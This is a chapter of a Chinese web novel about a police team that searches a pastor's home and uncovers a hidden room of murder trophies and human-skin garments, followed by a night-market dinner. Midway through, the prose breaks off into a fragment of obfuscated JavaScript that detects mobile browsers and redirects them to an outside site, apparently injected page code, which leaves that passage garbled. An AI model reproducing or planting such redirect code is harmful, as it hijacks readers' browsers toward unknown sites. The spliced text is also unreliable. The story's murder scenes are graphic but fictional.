两位却是异口同声,同时开了口。 “你先说——” “你先说——” 众人:“……” 代福音反应更与众不同些,她迅速弹直上半身,如傻狍子般探出充满求知欲的脑袋,开始观察。 池千雪接连开口失败,桌下拳头一捏,抢着开口了:“日后二队的工作就麻烦姜队长了。” 说完她站起身,扫视一圈所有人后,微红着脸认真道: “我知道,我虽然说是长官,但也只是职位如此,要论实践经验远远不及在座诸位,我会努力学习进步,今后有什么我能为大家做的,为工作配合的,请随时找我,若我做的有不足之处,也请各位多多指教了,谢谢。” 话音落下,池千雪竟是后退半步弯腰鞠了一躬,再起身,她脸庞泛红,笑意盈盈,像是卸下了某种担子一般,姜不招面不改色,放在桌面上的无名指却跟着心脏跳动了一下。 他对这些年的云都一无所知,更别提关于池千雪的一切,但他能听懂刚刚那段话表达出来的意思。 他不知道他会遇到她,更不知道她到底是好是坏是怎样三观什么性格,只是遇到了就钟情了——那就是一见钟情吧?不然他不能解释心中的异样悸动算什么。 早上发现警官证时,他其实心里也有些乱,工作和情感,最好是分开,这是众所周知的正确的道理,但他个性执着,既然已经动心,他就会为这段关系尽全力做到问心无悔。 可是此刻,看着对方坦然表达一切,浑身都写满了“要好好工作”的信念,他不由得有些脸烫。 他预设了需要尽力,会有不便,得有取舍,这个心态,是对的吗? 而他走神的这会,众人也从惊吓中回神,起身的动作乱七八糟,并七嘴八舌道: “哎呀,长官怎么这样说…”曹空城搓手。 “…就是就是。”江望挠头,突然搞这些,他都不知道说什么哦。 “长官,我会努力的!”代福音抓住机会大声表态。 “……”步青云,步青云他张了张嘴没跟上节奏,默默在捡起身太猛而翻掉的座椅。 池千雪内心小人狂转圈圈,开心开心! 这实在是个很好的,能将话说开的机会,人员齐全——只除了一位还在休婚假的,新队长也来了,二队队员将比之前更有安全感。 从前原主个性内敛有事也都习惯憋着,明明是默默努力认真工作,却被误解成:老古板、逞强、装相、厚脸皮、端架子…… 是的,别人背后怎么议论的,原主通通知道! 她不可能速成为专业人士,所以伪装绝对不是上上策,那就不如借此机会展露菜鸟真身——好吧,其实大家好像本来就这么觉得,原主的实力都还没发挥出来呢…… 总之,做自己,第一步,成功啦! “那么接下来,我们开工啦!” “这次行动我会和你们一起去,毕竟是因为我的消息,诶,江望你不要这个表情,放心放心,我不会再吐了,一切行动都听姜队长指挥,OK?” “OK长官!” 被cue的姜不招慢一拍起身,加入了这打鸡血般的聊天群中,手点扶桌面开始安排: “我要打申请再换制服,大家各自准备吧,也不知道你们以往什么习惯,我的要求是只要出警就去领枪,望仔你开车?小代辛苦你留守了。” “散会。” 所有人各自忙开,独剩代福音回到空荡荡的二队办公室,有点点郁闷,讨厌,气氛落差太大了啦! “笃笃笃……”已经在办公室换好平底单口鞋挽起头发的池千雪敲醒了代福音,只见她边走边晃晃手机: “福音呀,等大家回来时,大概来不及买午饭吃,拜托你帮忙订餐,买些营养均衡的套餐来,包括你的哦。” “我先转了5万给你微讯,你先用着,可惜手机竟然限额,也不知道再买一顿下午茶会不会不够?福音,请你看着办啦,好吗?” 池千雪刚反应过来,警局食堂因为换了承包商目前正在装修来着,她便决定将吃饭这件事包了,人,可以在有能力的地方尽情出力的嘛,钞能力也是能力! “哦哦哦,好的好的。”都是做惯的活了,代福音起身应到,不对,等下!多少? “5、5、5万?太多啦长官!而且也不应该用您的钱啊!队里有,有的吧?” 代福音急忙掏手机,看了看上次做的笔记,好嘛,属于二队队上的各种奖金补贴这些,因为进账少支出多,8月才过半,已经用光光了! 走进来的池千雪却是潇洒挥了挥手:“没事,就放着先用。”她笑,“不要有负担,我钱多,我愿意~”代福音顿时双手握拳高举眼冒星星喊叫:“长官霸气!” 圆乎乎的可爱手办做出了更可爱的动作,池千雪忍不住摸了摸对方脑袋,是真正的小妹妹呢。 池千雪看着她镜片后清澈的眼睛道:“每个工作都很重要,只看个人选择而已,做后勤还是去一线,福音下班后也慢慢的,仔细的想一想哦。” 她转身离去了,代福音却呆在了原地。 不仅留下有望!!!还能自选岗位吗??? 各位,要画饼的话,麻烦都学学她们池长官吧! . “哇,姜队好型男哇!” 副驾上换了黑T牛仔裤的姜不招莫名其妙。 “今天也是巧了,我们几个都穿的黑T哦,不对曹叔那是老头衫,总之和姜队你对比之下都是惨败惨败啊!嗷!曹叔我开车呢别敲我!” 江望五官飞扬表情多变嘴巴开开合合,姜不招看得服气一时没接话,也没有气口让他接。 “主要还是身材好,姜队以后健身也带带我吼,一个人都没动力,青云哥又喜欢独来独往,徐觅就别提了恋爱脑一个,局里健身器械不全还老是抢不到内,哎,之前有个妹子说哦,我的斜方肌好厉害,哭死……” MPV款警车内,江望墨镜一戴油门一踩上了路,接下来那张嘴就没停过。 副驾后面的池千雪迎着窗外的风眯眼偷笑,也挺好的,总比沉默的尴尬要好嘛。 姜不招不经意间转向右侧后视镜,看见了丝毫不知自己已经出镜的池千雪,他不知不觉就走了神,不由自主地勾起了嘴角,眼睛里生出涌动的暗潮。 人声淡化街景消失,眼前清晰的一颦一笑,和昨夜的吟呻哼叫交织着,一幕幕抵死缠绵亲密无间的画面如电影般在脑海中来回闪现,他不得不深呼吸一口气闭眼不看不想了,才将这从未有过的躁动压下去。 这全然陌生的体验,令他有些不安又感觉幸福,可他无人能说,只能尽全力调整好自己,别吓到她又搞砸了工作,再转头时,他便恢复镇定,于是又显得冷峻起来。 那边江望自言自语了一段后问:“对了姜队,你多大了?诶,你怎么会想从首都调到云都吼?当个首都人多好啊!” 姜不招:“我28岁,本就是云都人,只是早早去了首都读书,毕业后留在了实习的警局里。” “哟,云都人啊!哪块地界的?”曹空城兴奋凑上来。 “就是东城区的。” “好好好,回来了爸妈肯定高兴吧,再说我们云都也是国际大都市,发展肯定不比首都差的。”曹空城笑得慈祥,虽然不至于看不起外地人,但对比起来,云都人肯定更令他感觉亲近。 姜不招转头冲他笑:“曹叔,我是孤儿,不过,云都就是我母亲,政府就是我父亲。” 青年人黑发乌眸剑眉星目五官立体到冷峻,说话时又满脸正气。 帅哥说话是否更打动人心一些?不知道,反正这样一段话,让曹空城张张嘴,紧接着猛一拍大腿竖起大拇指送过去: “说得好!姜队啊,那我们二队,就是你的家人!你刚回来,生活上有什么事就找叔,空了也来家吃饭,我家那口子别的不提,做云都菜那也是这个!”他抬抬还没收回去的大拇指,一脸骄傲。 怕人不信,他还拐拐手肘推步青云:“青云知道的,这家伙别看他话少,论吃的头头是道,最爱美食。” 步青云30多年纪,五官平平气质沉稳肌肉壮硕,衣服稍稍修身一点,就会给人能将布料绷破的感觉,曾是接任二队队长的人选之一,可惜没中,被姜不招空降了,不过他也没什么不满情绪,整个人依旧平和沉稳,自然也看不出来私下竟会是个老饕。 他此时就道:“确实不错,但我一直以为那是你从饭店打包带来的。” 毕竟虽然曹空城经常炫耀,但谁也没真正去过他家。 江望突然瞪眼睛,吓了斑马线某个行人一跳:“咦?曹叔!什么时候的事?我怎么没有吃到!” 曹空城敷衍他:“哎呀,你才来多久。”主要总共也没带几次,他才舍不得累着老婆。 “好吧好吧,我虽然没有那么灵的舌头,可我不挑食好养活啊,加班吃泡面我都高兴,青云兄就比较痛苦了,哈哈,哈哈哈!” 曹空城探出手拍他肩:“行行行,你会说就少说点,专心开车吧望仔!” “小看我车技了不是……” 车里因为江望,就没有安静下来的时候,池千雪一直旁观,虽然不接话,但她嘴角的梨涡就没下去过,真好,真热闹,真有意思,这才是活着嘛。 她竖着耳朵,听着车里对话,不时看看外面沿街风景,偶尔也摸摸腰间的包,里面装着手/枪呢!这会又单手靠窗托腮,惬意的像小狐狸吃饱后满意眯眼的样子。 突然目光一扫,她瞪圆眼睛和后视镜里的姜不招对视上了。 姜不招眉目舒展冲她一笑,本来想逃的池千雪突然不甘,自以为很凶地瞪了回去,然后才坐直身体目视前方座椅靠背,盯着那人一头乌黑短发突然道:“江望,不然我们开空调吧,风开始热了。” . 呈出证件后,警车缓缓进入东城区大教堂附近的联排别墅小区内。 艳阳高照,小区内几乎没有人走动,但挨在一起的这些独栋小楼门前,偶尔能看见有外国面孔在躺椅上穿着比基尼晒太阳,麦色肌肤和星星斑点都令白人们着迷,后院这样的估计更多。 这几乎是一个白人社区了,里面住了很多外籍人员,有跨国公司高管、艺术家、外交官,以及单纯钱多在各国安置了房产的商人等。 西门牧师被低调带走的事件,瞒得了别人,瞒不了邻里朋友,他们很多人连夜致电政府有关部门投诉,不论事件真相,开口就是警方冤枉无辜极尽施压。 二队不知道,沈确得到的可不只是高层过问那么简单,甚至有两位直接要求放人,其中一位就是东城分局局长夫人,虔诚的她每月都会向教堂捐赠一笔钱…只是沈确也有他的玲珑手段,平日不打官腔不代表他不会打。 总之,这场行动,必须有所收获! 江望熟门熟路,停在了25栋对应的路边,他们准备先查住所再去教堂。 一车人别好证件检查腰包后下车,热浪兜头盖脸地笼罩下来,温度骤然变得令人难以忍受,于是加快步伐走过草坪,房子里也闻声走出来一个女人。 这是西门牧师的妻子。 她有着一头卷翘的金发,在阳光下发出耀眼的光芒,穿着深蓝底印花的短袖修身连衣裙,裙长至膝盖以下,脚上是一双低跟的深蓝色皮鞋,手上的钻戒不大但是很亮。 她收拾得十分得体,即便她的丈夫就在昨夜被请去了警局一夜未归。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738988|157447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不过生气是一定的,她板着脸皱着眉,法令纹更深了眼角嘴角都耷拉着,明明和牧师一样40多年纪,但老实说,她看起来更加苍老,露出来的肌肤爬满密密麻麻的斑点,身上香水味道很重,池千雪没有看见躺椅,但可以肯定她也一定热爱日光。 “你们要做什么?我的先生为何还没有回来?”琳达不满地开口,说了标准到刻板的汉语。 中英版搜查令被亮了出来,琳达面色一变,似乎没想到会这样,但很快她冷笑起来: “你们有句话,叫不、做、亏、心、事、不、怕、鬼、上、门,如果你们坚持要做到这样地步,丝毫不顾及两国友谊,和Simon为了世界为了信徒们做的一切奉献,那么,就请等着报应吧!” 她说完见众人还是无动于衷,气愤地转身自顾自走向屋里,即便如此,她依旧挺直脊背下巴微抬,甩甩头发保持着优雅端庄——或者也可以说是傲慢。 池千雪与姜不招平行,带头走进了这间有着复古美式风格的客厅里。 玄关处放着鲜花果盘的台面上,摆着一张家庭照,照片里大笑着的琳达显然年轻许多,身边是高了她一个头,同样金发只是发量堪忧的西门牧师,两人身前沙发上,十来岁的少男少女动作搞怪同样大笑着,看起来是幸福的一家人。 琳达站在一侧,不悦地翻转了相框后,无声退开等着他们下一步动作,众人便掏包带上手套脚套,按照之前定下的四散开来,至于对琳达的问询,在昨夜就已经尝试过,对方以作为妻子有权利不回答为由坚决拒绝了。 这边池千雪和姜不招一路,两人来到了客厅一侧地下室的门前,琳达远远看着,抱胸讽刺一笑,抬着下巴用母语说道:“去吧,去找吧,不要看电视里罪恶都发生在地下室,便以为每个地下室都是邪恶的化身。” 门口开始有人聚集,还有人喊叫着问琳达是否需要帮助,琳达没有理睬,外面的人也没有坚持,可见不论人种,见势不妙不想惹一身骚的心都是一致的。 池千雪看着琳达,暗叹了一口气,子女都远在故国,夫妻俩相依在云都生活多年,做为枕边人,她真的,如书中所说(姑且这般形容),什么都不知道吗? 琳达的冷笑还没收回,姜不招的手指刚刚握上地下室的门把,其它地方的同事们因为时间尚短还未有所发现,看起来只是按照安排和姜不招一起的池千雪,就在这时伸出了手。 她的手向上,那里是一盏平平无奇的,看起来更多只是装饰或起夜时用的壁灯。 壁灯很高,一米七的池千雪甚至需要踮起脚,就在手成功触摸上壁灯一角,按下上面的独立开关,灯也随之一亮时,就在池千雪紧跟着又关了灯,凝眉思索书中描述之际,琳达突然发出了一声短促的尖叫。 “啊——不,你在干什么!离开那个灯泡,放开那个灯泡!”不远处的琳达神情崩溃双手抱头,看着两人这样喊道,真是莫名其妙。 池千雪却心中一凛,抬头一看,灯泡!拧那个灯泡! 外面的人重新喊叫着问发生了什么,二三楼的楼梯作响,二队队员们正急速下来,姜不招已经打开了地下室的门,但似乎,已经不用再看了。 果然,壁灯上方的客厅天花板那,随着咯哒一声,缓缓出现了一个方洞,一个攀爬用的木梯降落在了两人面前。 琳达不叫了,她收回一切或是惊恐或是气愤的情绪,像那个洞一样缓缓的缓缓地坐了下来。 谁能想到,一楼和二楼之间,会藏了第三方空间呢? . 洞里黑黢黢的,站在明亮客厅里的人,看不见里面是什么有什么,又将会发生些什么。 终于不请自入的邻居主妇们看着那个洞面色惊恐,纷纷交头接耳着。 他们曾在这间美丽的以胡桃木色为主调的客厅里,度过许多次令人愉快的聚会,却没想到一个不起眼的,他们甚至根本没有印象的壁灯,竟连接了这样一方空间。 姜不招神情肃然,扶着木梯对池千雪道:“我先上,你……”他看了眼那洁白的白衬衫,池千雪赶紧接了话过去,“我下一个上,我得看看!” 她在心里嘟囔,打仗的士兵会因为军装是新的,而缩在原地不动吗?没有这个道理的嘛! “好。” 不用解释,姜不招一下子就懂了,他踩上梯子,很快消失在那黑洞之中,跟着里面就泛起了光,里面有灯!池千雪紧随其上。 这暗层——姑且这样称呼,出乎意料的干净整洁,气味有些说不出的怪异但并不刺鼻,整个一楼有多大,这里就有多大,高度大概只能勉强让一米九左右的姜不招弯腰45度后站着,头发更是贴到了顶板上。 整方空间只靠正中一盏垂落下来的孤灯照明,四周三面围着一排排类似多宝架的架子,一面角落像是洗照片的地方,台面上放着相机,中间地带则是空荡荡的,只有一个中式蒲团,牧师显然不会修道,大概就是拿来坐坐而已。 “难怪总感觉二楼怪怪的,原来是不够高,空间被这一层占掉了,不过无端端的,即便发现了也不会想那么多……” 跟着上来的曹空城嘀咕着,并打开了手电筒,“小心注意啊,怎么样,不用喊痕检科来了吧?光是物证的话,我们自己人就够了。” 说话间,江望后来居上,抢先看到了放在左侧架子上的东西,顿时头皮发麻,僵在原地,而另一边,姜不招也匆忙抬手挡住了池千雪的眼睛:“别看!” 却是来不及了,池千雪掰开他的手,也是身上一麻,寒意从脚底板窜了上来,冻得人半晌说不出话来。 那种小小一个格子,里面摆着骨灰和遗照,然后整面墙都是格子,有着密密麻麻的骨灰和遗照,那个场景能想象吗? 能的话,就可以知道这里是什么样子了,只是那些好歹是生前的,而此地照片中的人,一些是生前照,更多的,根本就是刚死之时被拍下来的! 不同发型发色,不同样貌年龄,但同样年轻同样人种同样性别的女孩子们,被洗出来,定格在了相框里摆进这架子上。 相片前一个小小竹编筐里,还对应摆放着她们的证件或者驾照或者工作牌等表明身份的物件,然后是一些所谓“纪念品”:发圈、手机链、首饰、发夹…… “你,你们,你们来这看看——”另一头江望声音发抖,似乎被吓得不轻,于是所有人闻声聚集过去,只见他那排架子上摆着…… 众人先看到的,是一座带血的铜质耶稣像和一把小型工具刀,然后才是靠着它的,像烹饪肉类前需要泡水去腥一样,浸泡在水中的小片人皮,接着便是一张缝制到一小半的人皮。 怎么确认的呢?因为旁边的架子上,还有一张已经完成的人皮,正被垂直挂在衣架上,就像,像一件披风外套。 这些有手掌心大小或者更大的方形人皮,被牧师像制作动物皮一样,通过浸泡清洗风干等等手段,再一片一片拼凑成人皮披风。 池千雪几乎可以看见那些画面: 神圣受人敬仰的西门牧师,在深夜里悄悄爬进暗层,抚摸过无数张相框中的面孔,回味每一次杀人所带来的刺激和快感,也许还伴随着絮絮私语,诉说着他的痛苦与使命。 接着他坐在中间的蒲团上,带有不同肌肤纹理的人皮衣紧紧裹住他全身,他放缓呼吸,全身心沉浸享受在这如同母亲子宫一般,令他温暖幸福的拥抱之中…… 死变态!!! “死变态!”缓过劲来的江望狠狠这样骂道! “他至少杀了上百人,属于特大恶性案件了,为什么公安系统内没有任何反应?”姜不招神色冰冷,倒不是针对警方,而是想不通缘由。 “如果他是在多年间,在多个城市,对城市里最不被人关注,也无所谓其死活的所谓地底层女性群体下的手呢?” 池千雪攥紧了拳头,心跳仍在攀升,又是恐惧又是愤怒又是难过,她强逼着自己盯着人皮看,咬牙切齿地说出这段话。 众人头皮又是一麻,恍然大悟,这样就说得通了,陈惠可不就是这一类人群! 姜不招:“请痕检科过来吧,我们取证设备不足。” 是个大工程啊。 5. 迷途羔羊 两辆mpv警车呼啦呼啦开进东城分局。 车上人员大包小包的鱼贯而下,人人阴沉着一张脸,明明满载而归,却没人笑得出来。 刑侦一队队长方孔明龙行虎步,领着在外头熬了一夜回来又审讯了半上午的队员们正要出去午饭,见到这个阵仗不由停下脚步。 一队除队长外共有八个队员加两个实习生,能力阵容都比二队强得多,虽是如此,因着东城区很大很大,一队接手的案子自然也多了好几番,平日里很是忙碌,现在也是难得在正点吃上饭,此时精神不振的九人停下脚步,都提气观察起来。 本月轮到一队值夜班,昨晚酒吧街的案子论理该是一队去的,只是他们为了一桩入室劫杀案全体出动了,是以案件转到了二队手中,眼下这么一看,竟是一夜就查得差不多了?而且案情不小的样子…… 除了方孔明这般如是想着,其余人心思都在姜不招身上。 生面孔引起了他们的好奇,年轻英俊高大的外表引出了他们一点微妙的羡慕加轻视,虽然看起来是对身手要求很高的工作,实则有几位上了年纪的队员,因为压力熬夜抽烟夜宵等,已经有了肚腩和光秃的发际线,形象方面岌岌可危。 下一刻,他们又看见了一个全新的池千雪,这次是欣赏美的同时带着更大的轻视。 总而言之,自己没有的东西,它必须不是个好东西! 众人各有心思,但也只是一闪而过并不入心,他们没有停驻多久,外头一帮人要进,他们这帮人就得赶紧出去,两位队长点头示意并未说上话,双方擦肩而过,池千雪……池千雪按照记忆扬起嘴角要打招呼,可惜连个眼风都没得到,更别提开口的机会。 而往日总要跟一队皮几句的江望此刻“目中无人”,急性子的他揣着满腔怒火冲在前头,上了楼第一时间踹开问询室,将里面好吃好睡的西门牧师拽起来就要挥拳。 “住手!”姜不招紧跟其后拦腰将江望拖开了,他算知道了,江望不光嘴皮子快,性格也十分冲动,虽然可以理解为年轻热血,但更容易被人诟病成不专业动私刑,追究起来至少都是个停职! 西门牧师狼狈地直起身,整理了他昨夜要求换上的衬衫衣领,带着适当的疑惑和无奈的神情问道: “年轻人,不知道我到底犯了什么罪行?以至于你们要关我到现在,且没有给出任何理由?”他温和地看向姜不招,“我想,我有权利知道,并且联系我的律师,对吧?这位警官。” 姜不招给他拷上了迟来的手铐,冷笑道:“是的,你有这个权利,尽情享受它吧!”等会就请他进讯问室享受个够。 他扯着不服气的江望出门,正好碰上池千雪和一同前来分局接受讯问的琳达,几人停下脚步。 琳达看着池千雪,对方点了点头:“去吧,你说的,就一句话。” “琳达!” 西门牧师疾步冲向走近的琳达,却没有机会说下一句了。 琳达站定,面无表情看着近在咫尺的西门牧师,嘴唇翕动,下一秒,她对着那张脸,狠狠吐了一口口水,在他难以置信的几秒内,收回狰狞的表情,迅速转身并甩了甩一头金发,抬高下巴挺直脊背从容优雅地走出问询室。 她已经说了一切。 池千雪静静跟上,而后是姜不招和江望,直至走到尽头,面对左右岔路口,琳达转过头又是拉着一张脸:“各位,不是应该带领我包围我,去我要去的终点吗?” 很有道理,无法反驳!几人对视:麻溜的吧! 看守的警员在背后摇了摇头,收回视线后摸了摸被江望踹了一脚的门,幸好没坏,门有什么错呢!他又打开看了看室内,正当西门牧师以为他要像之前一般说点什么,他也确实需要有人和他说点什么的时候,警员砰地一声利索将门锁上了! 哼,之前他客客气气,是因为老妈信上帝所以顺便给牧师个面子而已,如今看情形,这人铁板钉钉的有罪,那还鸟他干嘛! . 大量物证进入东城分局,空气都变得沉闷起来,分局各处人人脚步匆匆,检验鉴定出报告入档案,提审问询查监控找辅证。 还有文职警员们拿着电话集中在会议室里,根据暗层中大量身份信息给全国多地警局打电话,请他们将相关或类似案件发送过来,并说明清楚后续有可能的并案与合作。 不管西门牧师招不招怎么招,早核对晚核对终归都是要核对,另外还要联系已知的家属,统计那些身份不明的发布认领公告等等等等,刑侦工作中那些枯燥耗时的步骤,是决计避免不了的。 各部门联动合作,誓要将以百计数的死者死亡真相挖掘出来,沈确也在办公室里接打电话打到飞起,总局打到分局,局长打给沈确,当日傍晚,公共关系部更是直接找上门,大呼完蛋麻烦了! 因为那个小区里虽然围观者都是外籍人士,但他们很多是华国通,他们也是会上网的!案情就此泄露,并通过迅速传播引爆网络…… . “天啊,总算可以坐下来喘口气了!” 二队小会议室里,江望趴在桌面上嗷嗷叫唤,他其实更想抽根烟,但队友们都很嫌弃只好忍了,而其他人则是根本不想说话也不想动弹,只想进入待机状态好省点力气。 长桌尽头的池千雪呆呆坐了没一会,眼皮就开始下坠,脑袋一点一点的。 吱-呀—— 又是代福音,换了件格子衬衫牛仔裤的她,鬼头鬼脑地推门钻进来了。 池千雪猛地睁开眼,看着门口自言自语道:“哦,门,忘了请师傅来修了……” 再低头看看坐下时打开的电脑屏幕,一个激灵彻底清醒,对,她要写报告来着,啊啊啊! 小说她还可以努力编编,严谨的案情报告她真不行啊!原主也没机会撞上案子,弄得她想脑中借鉴都不行,至于学校里学的……学了也得会用呀!于是心中呜呼一声,两眼重新变得呆滞。 代福音:“……”不是,都不饿吗?下不下班呐?原定计划还实不实行啊!她使劲儿眨眼睛递眼神,结果全体都跟梦游似的,没有一个回应她的! 她无奈张嘴想要提醒提醒,恰好江望拍了一下桌子不解道:“诶你们说吼,为什么那牧师的老婆以前不举报,今天又一副划清界限的模样呢?” 姜不招揉揉太阳穴睁开眼:“她不是说了吗?因为信仰不允许她直接这么做。” “那今天这样间接点也可以啊,如果不是她故意提醒,我们想破脑袋也想不到灯泡去啊,既然有心,那早点拆穿,不就能少死点人吗?” 姜不招看了看池千雪没回话,虽然她后来解释,只是因为刚好在那盏壁灯下面,才鬼使神差摸了摸并引发后续,但他不信,那个抬手的动作,太笃定了。 因为对池千雪过多的关注,姜不招已经感受到了一些异样,只是眼下还无从说起。 “因为她也很矛盾吧。”毫无知觉的池千雪单手托腮叹气,“那些助纣为虐的人,也不是个个都真心喜欢作恶本身的,她们可能只是因为迫于形势更甚至爱上了变态人渣,琳达的感情会更复杂,所以虽然有所猜测,却出于鸵鸟心态不肯去验证。” “不管怎么说,她并不无辜,甚至可以说就是个帮凶。”步青云面无表情发表意见。 “果然女人心海底针,猜不透啊猜不透。”江望摸下巴,那里是新长出来的一圈胡茬,很惆怅的样子,其实就是想抽一根。 “是人心就都难测。”曹空城端起茶杯,看看墙上时钟后又放下了,“可惜判不了她,顶多承受些道德上的谴责。” “是啊,而且我看她心脏挺强悍的,除非自责,不然什么责怪她应该都能扛住消化。”池千雪也看了看表,紧接着改变话题,“今天就先到这吧,西门都招了,剩下的大工程急不得,明天再继续,我好饿哦,大家一起吃点东西吧!” 在座的有一个算一个,闻听此言立刻生龙活虎原地起飞,江望吱哇喊叫:“gogogo!吃大餐吃大餐!”同时手热情攀上了姜不招肩头,推着人往外走,才一天的相处,他似乎就已被新队长征服,充分说明男性友谊同样可以闪电出现。 “对了姜队,你有没有忌口的东西?说起来我们都姓Jiang这个音哦,缘分好奇妙……” 六人收拾收拾后走成了三排,一路和留值的警员们打过招呼,众人走出警局大门,马路对面公园里五光十色的灯彩,伴随着快节奏的洗脑神曲一同冲击过来。 直线过去的公园大广场中,大妈舞团欢快跳动着,穿着轮滑鞋的孩子穿插在人流间,草坪边年轻人牵着狗,情侣们喷泉下聊着天,林间小径上很多带耳机的夜跑者时隐时现…… 似乎整个东城区的“年轻”力量都在此集合了,警局门口真正年轻力壮的几人,却莫名觉得脖子僵、腰背硬各种不适起来,几人就看了一会,曹空城老神在在地拎着随身茶壶大步领先,腰间挂着的钥匙串发出叮铃声响:“走咯!”嗯,他属于对面公园那伙的。 东城分局地理位置不错,面向这个东城区最大的公园,右侧不远是片大型商圈——继续往前则是酒吧街一带,警局左侧和后侧就全是居民小区,当然居民区也会有很多店铺,只是若要宵夜,最好选择还是往右手边去。 众人步行拐了个大弯,入目便是一幅灯火通明充满烟火气市井味的热闹景象,而这才只是商圈的边缘——夜市美食排挡一条街,一个空气都被食物香气腌入味的地方。 “长官,你是不是第一次来?”代福音扶了扶眼镜,好奇地看着满脸好奇的池千雪。 “嗯,第一次!”池千雪很兴奋,并且毫不掩饰这一点,她亮着眼睛四处张望,一只手牵住了代福音,怕自己走神摔跤走散之类,这习惯并非莫名其妙,她前世小时候走丢过一次,哭到快死过去了才找到派出所,后来,后来很多年都没有独自出门过了。 各方面都比池千雪小的代福音,看看自己的小爪子,再看看细长手指牢牢牵住自己,将自己当个依仗一般的长官,感觉晕乎乎的,她不得不在心中反复念叨:“你是直的你是直的你是直的啊亲!” 可是!女神真的好香好美好温柔好可爱好耐人喜欢啊!!! 姜不招无意间回头一看,当即撇下不知沉默为何物的话痨江望,站到了池千雪另一边,一本正经道:“人多注意安全,大家一起走。” 池千雪闻言看他,半点没发现对方冷静外表下不可言说的内心,还很是认真回答:“对啊对啊。” 经过一天忙碌的工作,跟着姜不招跑上跑下学习,无数次公事公办的对话后,池千雪已经能够轻松自如下来,只将对方当作同事伙伴来对待,心脏脆弱教会了她,无论发生什么情况,不要沉浸不要波动过大不要耿耿于怀,淡化一切情绪,那样才会安全。 姜不招不知道这些,他专心当一面墙,在拥挤人流中为池千雪隔绝出一方空间。 江望挠头,总感觉奇奇怪怪的,他们是警察诶,这话应该他们对别人说吧? 代福音晃脑袋来回地看,情不自禁露出姨母笑,嘿嘿嘿……(此处忽略万字心声) 曹空城全程笑眯眯,养生守则第一条:随缘都好不多想,虽然他老奸巨猾,啊不是,他阅历深厚见多识广火眼金睛看出点苗头,何况一个人本能想靠近另一个人的那种微妙情愫,是很难被完美掩盖的,但他就当不知道。 步青云则皱着眉头双臂抱胸前,最终和江望并行,一路上都在尽量不和行人有肢体接触,他也是唯一一个反对来这吃的人,全是调料味,原材料又可疑,哪里算什么美食呢。 江望嘴上停不下来,这会就开始劝步青云放下美食家架子,也给冷冻货一个机会,严肃老大哥步青云仰天长叹,哎,却也无奈。 池千雪什么都不知道,就知道花花世界迷人眼,一个臭豆腐也能引起她的惊叹,这一点无人能与她共情,毕竟别人不像她只在网上看过,那时她怕受不了诱惑还看得很少,大数据后来干脆都不推了…… 这会,臭豆腐到底没买,但她还是停下给自己买了冰柠檬水——他们都不要,虽然东西廉价到她难以置信而且甜味也太重,但渴望被满足后的快乐是无价的呀。 就这样喝喝走走的,几人穿过人头攒动的东王街夜市,过了最拥挤的小摊美食区域后,就到了火锅烧烤小龙虾大排档等,夏日首选宵夜一条街上。 原本宽阔的街面被占道违停的汽车缩窄,挡风玻璃那全都放了显眼的手机号码,划线停车位里的车出来前打个电话,附近饭店里就会奔出来个车主挪地方,接着顺势停进空出来的位置里,这几乎是一种默契了,因此少见为此发生争执的。 路两旁大小馆子林立招牌无数,各种音乐舞曲同食物香气一同飘散空中,各嗨各的和谐共处,店铺的门面皆是宽阔,在这夏日夜里,每家都将桌椅延伸出去,激烈竞争下,家家只能以实力揽客,反而促进了良性循环,是以这一片出了名的客流量巨大,甚至有专门从其它区过来觅食的。 热闹已经不够形容这条街,门口摆个烧烤炉小龙虾架的都是基本操作了,另外还有好些拿着歌单音响弹吉他唱歌的,乱七八糟的歌声人声之间,啤酒商家请来的年轻女孩们穿着绿色制服——短袖露脐装加超短裙裤,四处穿插推销着,时不时还会表演开瓶杂技。 池千雪有些眼花缭乱,世界是多面的,而她和原主,活得无比匮乏单一,连光着膀子大着肚子猜拳喝酒的醉鬼,都让她多看了一眼,这个是真的稀奇,网上形容过的某一种类别的男性,就这样具像化了。 她会看别人,有些人吃喝差不多了,也会将目光放开四处扫荡,这就看到了街上异常显眼的六个人。 酒鬼中有人对两个女生吹了口哨,姜不招的眼神迅速变冷,四个黑T男人齐齐看过去,刑警人身上独有的凌厉气势一经散发,那酒鬼当场表演了一个掉凳,同桌朋友骂骂咧咧站起身要找回场子,直觉不好的酒鬼立刻伸出大花臂死命抱住,对六人道:“呵,呵呵,误会误会!” 池千雪后知后觉到热闹背后存在的危险,不高兴地鼓了鼓腮帮子再泄了气,一时间也不再张望了。 纪师傅川菜烧烤店。 老纪站在炭火烤炉前,翻转肉串后用脖子上的毛巾胡噜了一遍脑门上的汗,嘴上的香烟抽到一半,烟灰积累的很长,要掉不掉的,他却稳稳再吸一口,这才夹着往边上弹,烟灰没有机会落地,随着那把大功率的电风扇扇出的风,飘向了不知道谁人面前的桌上菜里。 老纪抬头看见六人,满是油光的脸上立刻绽放出热情的笑容,对出警局前提前发了信息的熟客江望招呼道:“来得正好,这批烤串就是你们的!快请坐哈,里头有空调,外头嘛,今晚上有点风也还可以。” 江望看姜不招,姜不招看池千雪,池千雪指着马路牙子绿化带边上空着的那一桌,因为侧面靠着条小巷子的出入口,所以算是户外位置里最清净最方便说话的了,众人当即坐了过去。 “姜队吃什么尽管点!”曹空城笑呵呵将一张密密麻麻的菜单递了过去。 这顿饭,显然是为了欢迎新队长姜不招设的,不然大可以各回各家赶紧吃完赶紧睡觉,姜不招也明白,他从善如流地接下点单任务。 这家店主打川菜和烧烤,他虽不怎么吃辣,但通过白天匆忙吃那顿套餐时的交谈,他大概了解其他人都爱吃点辣,二队是要长久共处的,实不必在这种事上强行合拍,他便点了不辣的确实想吃的一些烧烤给自己,剩下的都微辣。 云都人的能吃辣,就是指的微辣。 “除了这些,你们再看着补充吧。” 池千雪先拿到手,嗯,按这样的标准看,之前午饭转5万是太夸张了,自己没花过钱,原主是没花过小钱,从今以后要改变下思想了,但是想想名下的财产,又好像也不是很必要…… 